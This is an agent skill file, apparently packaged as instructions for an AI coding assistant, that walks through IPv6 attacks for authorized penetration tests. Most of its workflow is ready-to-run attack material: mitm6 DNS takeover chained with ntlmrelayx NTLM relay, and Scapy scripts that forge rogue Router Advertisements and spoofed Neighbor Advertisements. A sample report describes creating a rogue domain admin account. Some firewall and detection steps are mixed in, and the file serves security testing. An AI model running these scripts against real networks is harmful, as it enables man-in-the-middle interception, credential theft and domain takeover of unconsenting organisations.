--- name: exploiting-ipv6-vulnerabilities-18128966f2b5 description: 'Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses. ' domain: cybersecurity subdomain: network-security tags: - network-security - ipv6 - slaac - router-advertisement - dual-stack-security version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 mitre_attack: - T1046 - T1040 - T1557 - T1071 --- # Exploiting IPv6 Vulnerabilities ## When to Use - Testing whether dual-stack networks have consistent security controls for both IPv4 and IPv6 traffic - Demonstrating risks from unmanaged IPv6 on networks where only IPv4 is officially supported - Exploiting SLAAC and Router Advertisement mechanisms to perform man-in-the-middle attacks via IPv6 - Testing IPv6-aware firewall rules and IDS/IPS detection for IPv6-specific attack patterns - Identifying IPv6 tunneling protocols (6to4, Teredo, ISATAP) that bypass IPv4-only security controls **Do not use** on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure. ## Prerequisites - Written authorization specifying IPv6 testing scope and approved techniques - Kali Linux with THC-IPv6 toolkit, Scapy, and mitm6 installed - Network interface with IPv6 support on the target network segment - Understanding of IPv6 addressing, SLAAC, NDP, and Router Advertisements - Wireshark for capturing and analyzing IPv6 traffic ## Workflow ### Step 1: Enumerate IPv6 on the Network ```bash # Check if IPv6 is enabled on the local interface ip -6 addr show # Discover IPv6 hosts on the local link using multicast ping6 -c 3 ff02::1%eth0 # ff02::1 = all-nodes multicast address # Use alive6 from THC-IPv6 toolkit to discover hosts sudo alive6 eth0 # Scan for IPv6-enabled hosts with Nmap nmap -6 --script ipv6-multicast-mld-list -e eth0 nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0 # Check for Router Advertisements on the network sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134' # Type 134 = Router Advertisement # Use radvdump to capture existing RAs sudo radvdump # Check for DHCPv6 servers sudo dhclient -6 -v eth0 --request-only ``` ### Step 2: Perform SLAAC-Based MITM Attack with mitm6 ```bash # mitm6 exploits the default behavior of Windows machines to request # IPv6 configuration via DHCPv6 when a Router Advertisement is seen # Start mitm6 to become the IPv6 DNS server sudo mitm6 -d example.com -i eth0 # mitm6 performs the following: # 1. Sends Router Advertisements to enable IPv6 on victims # 2. Responds to DHCPv6 requests, assigning itself as DNS server # 3. Victims now send DNS queries to the attacker over IPv6 # 4. Attacker can respond with spoofed DNS replies # Combine with ntlmrelayx for credential relay sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot # This exploits: # 1. WPAD (Web Proxy Auto-Discovery) via DNS # 2. Windows sends NTLM authentication to the WPAD proxy # 3. ntlmrelayx relays the credentials to target servers ``` ### Step 3: Router Advertisement Spoofing ```python #!/usr/bin/env python3 """Rogue Router Advertisement for authorized IPv6 testing.""" from scapy.all import * from scapy.layers.inet6 import * # Craft a Router Advertisement packet # This makes the attacker appear as the default IPv6 router iface = "eth0" attacker_mac = get_if_hwaddr(iface) attacker_ipv6 = get_if_addr6(iface) ra = ( Ether(dst="33:33:00:00:00:01") / # All-nodes multicast IPv6(src=attacker_ipv6, dst="ff02::1") / ICMPv6ND_RA( routerlifetime=1800, # Advertise as router for 30 min prf=1, # High preference M=0, # No managed flag (use SLAAC) O=1 # Other config via DHCPv6 (DNS) ) / ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) / ICMPv6NDOptPrefixInfo( prefix="2001:db8:dead::", # Rogue prefix prefixlen=64, L=1, A=1, validlifetime=3600, preferredlifetime=1800 ) / ICMPv6NDOptRDNSS( dns=[attacker_ipv6], # Attacker as DNS server lifetime=1800 ) ) print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}") print(f"[*] Advertising prefix 2001:db8:dead::/64") sendp(ra, iface=iface, count=5, inter=2) print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.") ``` ### Step 4: IPv6 Neighbor Discovery Attacks ```bash # Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing) # Using THC-IPv6 parasite6 tool sudo parasite6 eth0 # Or craft with Scapy python3 << 'PYEOF' from scapy.all import * from scapy.layers.inet6 import * # Spoof Neighbor Advertisement to redirect traffic target_ipv6 = "2001:db8::50" # Victim IPv6 address gateway_ipv6 = "2001:db8::1" # Gateway IPv6 address attacker_mac = get_if_hwaddr("eth0") # Tell the victim that we are the gateway na = ( Ether(dst="33:33:00:00:00:01") / IPv6(src=gateway_ipv6, dst="ff02::1") / ICMPv6ND_NA( tgt=gateway_ipv6, R=1, S=0, O=1 # Router flag, Override flag ) / ICMPv6NDOptDstLLAddr(lladdr=attacker_mac) ) print("[*] Sending spoofed Neighbor Advertisements...") sendp(na, iface="eth0", count=100, inter=1) PYEOF # Detect NDP spoofing with ndpmon sudo ndpmon -i eth0 ``` ### Step 5: IPv6 Tunnel Detection and Exploitation ```bash # Detect Teredo tunnels (IPv6 over UDP port 3544) sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst # Detect 6to4 tunnels (protocol 41) sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst # Detect ISATAP tunnels sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10 # Scan for Teredo-enabled hosts nmap -6 -sU -p 3544 --open 10.10.0.0/24 # Test if IPv6 tunnels bypass IPv4 firewall rules # If Teredo is allowed, IPv6 traffic can bypass IPv4-only firewalls curl -6 http://[2001:db8::50]:8080/ # Access via IPv6 tunnel # Block unwanted IPv6 tunnels at the firewall # iptables: block protocol 41 (6to4, ISATAP) and Teredo sudo iptables -A INPUT -p 41 -j DROP sudo iptables -A OUTPUT -p 41 -j DROP sudo iptables -A INPUT -p udp --dport 3544 -j DROP sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP ``` ### Step 6: Test IPv6 Firewall Rules and Document ```bash # Verify ip6tables rules are in place sudo ip6tables -L -n -v # Test if IPv6 firewall mirrors IPv4 rules # Common oversight: IPv4 firewall is strict, IPv6 is wide open nmap -6 -sS -p- # Compare IPv4 and IPv6 scan results nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap) # Check for IPv6 RA Guard on the switch # Cisco: show ipv6 snooping policies # If not enabled, document as finding # Clean up: stop all IPv6 attack tools sudo killall mitm6 parasite6 2>/dev/null ``` ## Key Concepts | Term | Definition | |------|------------| | **SLAAC (Stateless Address Autoconfiguration)** | IPv6 mechanism where hosts automatically configure addresses from Router Advertisements without a DHCP server, exploitable by rogue RA injection | | **Router Advertisement (RA)** | ICMPv6 message from routers announcing network prefixes, default gateway, and DNS configuration; rogue RAs enable MITM attacks | | **NDP (Neighbor Discovery Protocol)** | IPv6 replacement for ARP that uses ICMPv6 for address resolution, router discovery, and duplicate address detection; vulnerable to spoofing | | **mitm6** | Tool that exploits Windows DHCPv6 preference to become the IPv6 DNS server, enabling DNS spoofing and NTLM credential relay | | **RA Guard** | Switch-level security feature that filters rogue Router Advertisements, preventing unauthorized hosts from acting as IPv6 routers | | **IPv6 Tunneling** | Encapsulation of IPv6 packets within IPv4 (6to4, Teredo, ISATAP) that can bypass IPv4-only security controls and firewalls | ## Tools & Systems - **mitm6**: IPv6 MITM tool that exploits SLAAC and DHCPv6 to become the DNS server for Windows hosts - **THC-IPv6 Toolkit**: Comprehensive IPv6 attack toolkit including alive6, parasite6, fake_router6, and flood tools - **Scapy**: Python packet manipulation for crafting custom ICMPv6 Router Advertisements and Neighbor Discovery packets - **ndpmon**: IPv6 Neighbor Discovery Protocol monitor that detects rogue RAs and NDP spoofing - **Nmap**: Network scanner with full IPv6 support including multicast discovery and IPv6-specific scripts ## Common Scenarios ### Scenario: Exploiting Unmanaged IPv6 on an IPv4-Only Enterprise Network **Context**: A company officially only uses IPv4 on their corporate network, but Windows workstations have IPv6 enabled by default. During an internal penetration test, the tester discovers that IPv6 is active on the VLAN and no IPv6 security controls (RA Guard, IPv6 ACLs) are deployed. **Approach**: 1. Discover that all Windows workstations have link-local IPv6 addresses and are listening for Router Advertisements 2. Run mitm6 to send DHCPv6 responses, becoming the IPv6 DNS server for all Windows hosts on the VLAN 3. Configure ntlmrelayx to relay WPAD-triggered NTLM authentication to the domain controller 4. Within 5 minutes, capture and relay NTLM credentials from 12 workstations, gaining access to file shares 5. Successfully relay a domain admin's NTLM hash to create a new domain admin account 6. Document that the lack of IPv6 security controls enabled full domain compromise without exploiting any traditional vulnerability 7. Recommend disabling IPv6 where not needed, deploying RA Guard on switches, and blocking DHCPv6 at the firewall **Pitfalls**: - Flooding the network with Router Advertisements can cause instability on some devices - mitm6 affects all Windows hosts on the VLAN, not just the target -- ensure scope covers all potentially affected hosts - Some environments have IPv6-dependent services (SCCM, certain Azure services) that break when IPv6 is disrupted - Forgetting to check for IPv6 tunneling protocols that could provide alternative attack paths ## Output Format ``` ## IPv6 Security Assessment Report **Test ID**: IPV6-2024-001 **Target Network**: VLAN 10 (10.10.10.0/24, no official IPv6) **Assessment Date**: 2024-03-15 ### IPv6 Discovery | Finding | Details | |---------|---------| | IPv6 Enabled Hosts | 147/150 workstations (Windows default) | | Link-Local Addresses | Active on all discovered hosts | | Router Advertisements | None detected (no IPv6 router) | | DHCPv6 Server | None present | | RA Guard | NOT configured on switches | | IPv6 Firewall Rules | NONE (ip6tables empty) | ### Attack Results | Attack | Result | Impact | |--------|--------|--------| | mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts | | WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications | | Domain Admin Relay | SUCCESS | Created rogue domain admin account | | IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) | ### Recommendations 1. Deploy RA Guard on all access-layer switches (Critical) 2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical) 3. Disable DHCPv6 client via Group Policy where IPv6 is not needed 4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall 5. Deploy IPv6-aware IDS rules for NDP spoofing detection ``` --- Source attribution: 26zl Original project: https://github.com/26zl/cybersec-toolkit/blob/2ad2519d437cda1f8a822ef7adc336993601a5ac/.claude/skills/exploiting-ipv6-vulnerabilities/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to the Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by the Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding any notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. Please do not remove or change the license header comment from a contributed file except when necessary. Copyright 2026 mukul975 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: 26zl Original project: https://github.com/26zl/cybersec-toolkit/blob/2ad2519d437cda1f8a822ef7adc336993601a5ac/.claude/skills/exploiting-ipv6-vulnerabilities/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: Specialty not specified Tools: Kali Linux, Mitm6, Scapy, Wireshark Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 4d3ec9fb317858529c477984b1b649f1d2e785c9026a54aee3bfb57978795b4e